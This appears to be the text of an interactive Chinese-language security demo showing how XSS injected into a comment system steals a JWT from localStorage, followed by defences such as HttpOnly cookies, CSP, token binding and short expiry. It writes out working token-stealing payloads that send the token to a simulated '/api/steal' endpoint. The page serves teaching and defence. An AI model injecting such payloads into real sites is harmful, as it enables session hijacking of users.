Token Stealing via XSS
这是 XSS 最危险的利用方式之一:
localStorage 对 JavaScript 完全可见,XSS + JWT = 灾难!
点击按钮模拟用户登录,Token 会存储到 localStorage:
未登录
攻击者会在评论中注入以下代码:
<img src=x onerror="
fetch('/api/steal?token=' + localStorage.getItem('token'))
">
或者更隐蔽的方式:
<script>
new Image().src = '/api/steal?token=' + localStorage.getItem('token')
</script>
复制以下代码到 评论系统 发表:
<img src=x onerror="fetch('/api/steal?token='+localStorage.getItem('token'))">
以下是"攻击者服务器"收到的被窃取 Token:
加载中...
将 Token 存储在 HttpOnly Cookie 中,JavaScript 无法读取:
// 服务端设置
res.cookie('token', jwt, {
httpOnly: true, // JS 无法读取
secure: true, // 仅 HTTPS
sameSite: 'strict'
})
限制脚本来源和外部请求:
Content-Security-Policy:
script-src 'self';
connect-src 'self';
将 Token 与用户 IP、User-Agent 绑定,异常时失效
Access Token 有效期短(如 15 分钟),降低泄露风险